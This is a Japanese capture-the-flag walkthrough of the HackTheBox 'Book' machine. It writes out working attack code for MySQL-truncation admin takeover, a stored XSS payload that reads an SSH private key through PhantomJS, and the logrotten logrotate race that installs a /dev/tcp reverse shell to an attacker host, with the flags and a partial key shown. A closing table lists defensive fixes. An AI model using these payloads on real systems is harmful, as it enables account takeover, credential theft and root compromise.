HackTheBox: Book — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
22/ssh, 80/http
MySQL文字列トランケーション
admin@book.htbを偽装登録
→
admin@book.htbを偽装登録
管理者パネル奪取
→
Book Submission XSS注入
<script>タグ
→
<script>タグ
管理者PDFエクスポート
PhantomJSサーバサイド実行
→
PhantomJSサーバサイド実行
SSH秘密鍵窃取
file://+btoa()でPDF内へ出力
→
file://+btoa()でPDF内へ出力
reader SSHログイン
user.txt ✓
→
user.txt ✓
logrotateレースコンディション
logrotten
→
logrotten
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap ポートスキャン
BASH
nmap -sV -p- --min-rate 2000 -T4 --open 10.129.95.163
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Webサイトの確認
BASH
curl -s http://10.129.95.163/ | grep -i title
RESULT
<title>LIBRARY - Read | Learn | Have Fun</title>
<p>Do a quick Sign Up and Grab Some Books!</p>
BASH
gobuster dir -u http://10.129.95.163 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
/admin (Status: 301) [--> /admin/]
ℹ️
本ユーザー向けサインアップ/ログイン機能と、独立した管理者ログイン
(
/admin/index.php)の2系統があることが分かる。
PHASE 2
MySQL文字列トランケーションによる管理者アカウント偽装
脆弱性の原理
NOTE
サインアップフォームのemailカラムが VARCHAR(20) 等の短い長さで定義されており、
かつMySQLの厳格モード(STRICT_ALL_TABLES)が無効な場合、20文字を超える入力値は
警告付きで先頭20文字にトランケート(切り詰め)されて保存される。
一方でMySQLの文字列比較(WHERE email = ?)は既定でパディング末尾の空白を
無視して等価と判定する(CHAR型の仕様がVARCHARにも一部影響することがある、
または比較時のコレーションの挙動)。
"admin@book.htb"(14文字)に空白を加えて20文字ちょうどにし、さらに余分な
文字("test"等)を末尾に追加した文字列を登録すると:
1. 実際にDBに保存される値は先頭20文字 = "admin@book.htb "(末尾空白埋め)
2. UNIQUE制約チェックでは元の "admin@book.htb" とは違うバイト列に見えるため
重複エラーにならず登録が成立する
3. しかしログイン時の比較では末尾空白が無視されるため、この新規アカウントの
emailは実質的に "admin@book.htb" と同一視され、真の管理者アカウントの
emailを乗っ取ったことになる
トランケーションペイロードで登録
PYTHON
import requests
base = "http://10.129.95.163"
# "admin@book.htb" + 空白11個 + "test" = 29文字(20文字境界でトランケート発生)
email_payload = "admin@book.htb" + " " * 11 + "test"
sess = requests.Session()
sess.post(f"{base}/index.php", data={
"name": "myuser",
"email": email_payload,
"password": "MyOwnPassword123",
})
✅
登録自体は通常のPOSTと同じ処理で成立する(サーバー側は特にエラーを返さない)。
管理画面へのログイン
PYTHON
admin_sess = requests.Session()
r = admin_sess.post(f"{base}/admin/index.php", data={
"email": "admin@book.htb", # 末尾空白なしの本来の値でOK(比較時に無視される)
"password": "MyOwnPassword123", # 自分で設定したパスワードのまま
})
print(r.url) # → http://.../admin/home.php にリダイレクト
RESULT
<title>Admin Panel</title>
<a href="/admin/home.php" class="active">Home</a>
<a href="/admin/users.php">Users</a>
<a href="/admin/collections.php">Collections</a>
<a href="#">Signed in as admin</a>
🚨
管理者権限の完全奪取に成功。 自分で決めたパスワードのまま、
本物のadminアカウントとして扱われるセッションを確立できた。
⚠️
ハマりどころ:
/admin/index.php はPOSTでログインに
成功した場合のみそのレスポンス内で認証済みダッシュボードを返し、直後に同じURLへ
改めてGETすると常にログインフォームが再表示される
(実際のログイン後の遷移先は302リダイレクト先の /admin/home.php)。
自動化する場合はこの違いを踏まえてナビゲーションURLを組み立てる必要がある。
PHASE 3
Book Submission XSS → 管理画面PDFエクスポート(PhantomJS)経由のサーバサイドJS実行
通常ユーザーとしてサインイン
⚠️
ハマりどころ:
/index.php へのサインアップ
(登録)だけではセッションが認証済みにならない。登録後に
/home.php へアクセスしても未ログイン状態のトップページが返る。
同じ /index.php に email/password のみで改めてPOSTする、
通常ユーザー用の別個のサインインが必要。
PYTHON
# 前段のPhase2で使ったのと同じ sess (トランケーション済みアカウント) で
# サインインし直す。email比較は末尾空白無視なので "admin@book.htb" でよい
sess.post(f"{base}/index.php", data={
"email": "admin@book.htb",
"password": "MyOwnPassword123",
})
Book Submission フォームの実際のフィールド名を確認
RESULT (collections.php のHTML抜粋)
<form action="" method="POST" enctype="multipart/form-data"> <input type="text" name="title"/> <input type="text" name="author"/> <input type="file" name="Upload"/> <input type="submit" name="Upload" value="Upload"/> </form>
⚠️
ハマりどころ: ファイル入力欄の
name は
Uploadであり(fileという直感的な名前ではない)、
さらに送信ボタン自体も同じ name="Upload" を持つ。
ブラウザはフォーム送信時にファイル入力の内容とボタンのvalue(“Upload”)の
両方を同名Uploadのフィールドとしてmultipartボディに含める。
プログラムで再現する際は片方だけ(特にファイル入力のみ)を送ると
サーバー側が「送信ボタンが押されていない」と判定し、何もエラーを
返さないまま投稿が保存されないサイレントな失敗になる。
XSS/SSRFペイロードを Book Title として投稿
NOTE
管理画面のCollectionsエクスポート機能はPDF化のためにPhantomJS(ヘッドレス ブラウザ)を使ってサーバサイドでHTMLをレンダリングしている。もし投稿された 書籍タイトルがサニタイズされずにそのままHTMLへ埋め込まれるなら、そこに 仕込んだJavaScriptはPDF生成時に管理者権限のサーバプロセス上で実行される。 PhantomJSは file:// スキームでのローカルファイル読み取りに(ブラウザの Same-Origin Policyほど)厳格な制限をかけていないことが多く、 XMLHttpRequestで /home/reader/.ssh/id_rsa を直接読み取れる。読み取った 内容をbtoa()でbase64化しtextareaに書き出せば、PDFのテキストとして 出力され、あとでpdftotextで抽出・デコードできる。
PYTHON
js_payload = (
"<script>"
"var x = new XMLHttpRequest();"
'x.open("GET", "file:///home/reader/.ssh/id_rsa", true);'
"x.onload = function(){"
"var code = \"<textarea rows='100' cols='70'>\" + btoa(x.responseText) + \"</textarea>\";"
"document.write(code);"
"};"
"x.send();"
"</script>"
)
files = [
("title", (None, js_payload)),
("author", (None, "test")),
("Upload", ("test.txt", b"test", "text/plain")),
("Upload", (None, "Upload")), # submitボタン相当のフィールドも必ず含める
]
sess.post(f"{base}/collections.php", files=files)
管理者としてCollectionsのPDFをエクスポート
RESULT (collections.php 管理画面のエクスポート一覧)
<tr><td>Users</td> <td><a href="/admin/collections.php?type=users">PDF</a></td></tr> <tr><td>Collections</td> <td><a href="/admin/collections.php?type=collections">PDF</a></td></tr>
⚠️
ハマりどころ: エクスポート一覧には “Users” と “Collections” の
2つの”PDF”リンクが並んでおり、どちらも同じ
collections.php エンドポイントを指すため、単純に
「行に”collections”と”PDF”という単語が両方含まれるか」で判定すると、
先に出現するUsers行(そのURLにも”collections.php”という文字列が
含まれる)を誤って選んでしまい、狙った書籍データではなく
ユーザー一覧のPDFをダウンロードしてしまう。type=collections
というクエリパラメータの値まで見て明確に区別する必要がある。
BASH
curl -s -b admin_cookies.txt \ "http://10.129.95.163/admin/collections.php?type=collections" \ -o collections_export.pdf
PHASE 4
SSH秘密鍵の抽出とログイン → user.txt
PDFからbase64ペイロードを抽出
BASH
pdftotext collections_export.pdf -
RESULT (抜粋)
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcFFJQkF BS0NBUUVBMkpKUXNjY0s2ZkUwNU9XYlZHT3VLWmRmMEZ5aWN vVXJybTgyMW5IeWdtTGdXU3BKCkc4bTZVTlp5UkdqNzdlZVlHZS83W UlRWVBBVE5MU09wUUl1ZTNrbmhEaUVzZlI5OXJNZzdGUm5WQ3Bp ...(base64が固定幅で折り返され複数行にわたる)...
ℹ️
pdftotextはレイアウトによって改行位置を欠落させることがあるため、
単純に全改行を除去して連結すると周囲の見出しテキストと混ざりデコードに失敗する。
「行全体がbase64の文字集合のみで構成される行」だけを抽出して連結するのが安全。
PYTHON
import re, base64
text = open("collections_export.txt").read()
b64_lines = [ln.strip() for ln in text.splitlines()
if re.fullmatch(r'[A-Za-z0-9+/=]{10,}', ln.strip())]
blob = "".join(b64_lines)
key_pem = base64.b64decode(blob).decode()
print(key_pem)
RESULT
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
...
-----END RSA PRIVATE KEY-----
SSHログイン & user.txt 取得
BASH
chmod 600 reader_id_rsa ssh -i reader_id_rsa reader@10.129.95.163 'cat /home/reader/user.txt'
RESULT
4260e7e15097d32936a59ea80c26fb2f
user.txt — reader@book
4260e7e15097d32936a59ea80c26fb2f
PHASE 5
権限昇格の下調べ — logrotate レースコンディションの発見
書き込み可能なログファイルを発見
BASH
reader@book:~$ find / -writable -type f 2>/dev/null | grep -v proc
RESULT
/home/reader/backups/access.log
ℹ️
readerユーザーが自由に書き込めるログファイルが存在する。
pspy等でプロセス監視すると、root権限で定期的に
logrotate が実行されていることが確認できる。
logrotate のレースコンディション (logrotten)
NOTE
特定バージョンのlogrotateには、ログファイルをローテーション(リネーム)する 瞬間と、新しい空のログファイルを作り直す瞬間の間に極めて短い時間差(レース ウィンドウ)が存在する。このタイミングで、リネームされた直後の「古い」パス (例: access.log.1)に対して攻撃者がシンボリックリンクを設置できれば、 logrotateがそのリンク先(任意のファイル、例えば /etc/bash_completion.d/ 配下) に書き込んでしまう。 logrotten (whotwagner氏公開のPoC)はこのレースを自動化するツールで、 対象ログファイルを監視し続け、ローテーションが発生した瞬間に上記の シンボリックリンク差し替えを試行し、任意のペイロードスクリプトを /etc/bash_completion.d/ に注入する。bash_completion.d 配下のスクリプトは 新しい bash セッション(rootによるログイン等)開始時に自動的にsourceされる ため、rootのシェル起動時に任意コマンドが実行される。
PHASE 6
logrotten でリバースシェルペイロードを注入 → root.txt
logrotten をビルド
⚠️
ハマりどころ: ターゲット上で直接
git clone しようと
するとインターネットに出られず失敗する
(Could not resolve host: github.com)。GLIBCバージョン不一致を
避けるためにはターゲット上でコンパイルする必要があるので、
ソースコードだけを攻撃者側(Kali)でダウンロードし、SCPでターゲットへ
転送してからビルドするのが確実。
BASH
# Kali側: ソース取得 curl -s -o logrotten.c \ https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c # ターゲットへ転送 scp -i reader_id_rsa logrotten.c reader@10.129.95.163:/tmp/.book_lr/ # ターゲット上でビルド ssh -i reader_id_rsa reader@10.129.95.163 \ 'cd /tmp/.book_lr && gcc logrotten.c -o logrotten'
RESULT
BOOK_BUILD_OK (警告のみ、コンパイル成功)
リバースシェルペイロードの配置とログ書き込み
BASH
reader@book:~$ cat > /tmp/.book_lr/shell << 'EOF' #!/bin/bash bash -c "/bin/bash -i >& /dev/tcp/10.10.15.200/4444 0>&1" & EOF reader@book:~$ chmod +x /tmp/.book_lr/shell # ログファイルへ何か書き込みローテーション対象にする reader@book:~$ echo test >> /home/reader/backups/access.log
logrotten を起動しレースを狙う
BASH
# ターミナル1: リスナー nc -lnvp 4444 # ターミナル2 (SSH経由): logrotten をバックグラウンド起動 reader@book:~$ cd /tmp/.book_lr reader@book:~$ nohup ./logrotten -d -p shell /home/reader/backups/access.log &
⚠️
注意: logrotate自体はcronによって数分〜十数分間隔で
実行されるため、レースが成立するまである程度の待ち時間・複数回の
試行が必要な場合がある。1回で反応がなくても、logrotten を起動したまま
気長に待つか、再試行すること。
RESULT (nc リスナー側、logrotate実行タイミングで着弾)
listening on [any] 4444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.95.163] 54932 # whoami root
✅
root権限奪取成功。 logrotateがローテーション中にシンボリックリンクを
辿ってしまい、rootのbash起動時にリバースシェルペイロードが実行された。
root.txt 取得
BASH
# cat /root/root.txt
RESULT
d0f1534f4e4bf0a700528ee3fea82075
root.txt — root@book (logrottenレースコンディション経由)
d0f1534f4e4bf0a700528ee3fea82075
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — reader@book
4260e7e15097d32936a59ea80c26fb2f
root.txt — root@book
d0f1534f4e4bf0a700528ee3fea82075
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| MySQL文字列トランケーション | サインアップフォーム(email カラム) | 管理者アカウントの偽装・乗っ取り | Critical | 20文字境界+末尾空白比較無視を突き、任意パスワードでadmin@book.htbと等価なアカウントを作成 |
| Stored XSS → サーバサイドSSRF (PhantomJS) | Book Submission (Collections) タイトルフィールド | サーバ上でのローカルファイル読み取り | Critical | <script>注入がPDFエクスポート時にPhantomJSで実行され、file://+XHRでSSH秘密鍵を読み取りPDF出力に埋め込む |
| logrotate レースコンディション | root権限で定期実行されるlogrotate + 書込可能ログファイル | root権限でのコマンド実行 | Critical | logrottenでローテーション中のシンボリックリンク差し替えを狙い/etc/bash_completion.d/へペイロード注入 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + gobuster | 22/ssh, 80/http (LIBRARY), /admin発見 |
| 2 | アカウント偽装 | MySQL文字列トランケーション | admin@book.htb相当の管理者セッション |
| 3 | XSS/SSRF | Book Submission + 管理者PDFエクスポート(PhantomJS) | SSH秘密鍵をbase64化しPDF経由で回収 |
| 4 | 初期アクセス | SSH鍵ログイン | user.txt 取得 (reader) |
| 5 | 権限調査 | find -writable + pspy | logrotate定期実行 + 書込可能ログを発見 |
| 6 | レース攻撃 | logrotten (ソースをSCP転送しターゲット上でビルド) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| emailカラムが短く定義され、かつMySQLの非厳格モードでトランケーションが黙認される | DBカラム長を十分に確保し、MySQLをSTRICT_ALL_TABLESモードで運用する。アプリ層でも入力長のバリデーションを行う。 |
| ユーザー投稿内容(書籍タイトル)がサニタイズされずPDF生成用HTMLへ埋め込まれる | 出力エンコーディング(HTMLエスケープ)を徹底する。サーバサイドレンダリング(PhantomJS等)にはCSPやサンドボックス化、file://スキームの無効化を適用する。 |
| ログファイルが非特権ユーザーから書き込み可能なまま、root権限のlogrotateが対象にしている | ログファイルの所有権/パーミッションを適切に分離する。logrotateは既知の脆弱バージョンを避け最新に保つ。可能であればログローテーション対象ディレクトリへの一般ユーザー書込みを禁止する。 |

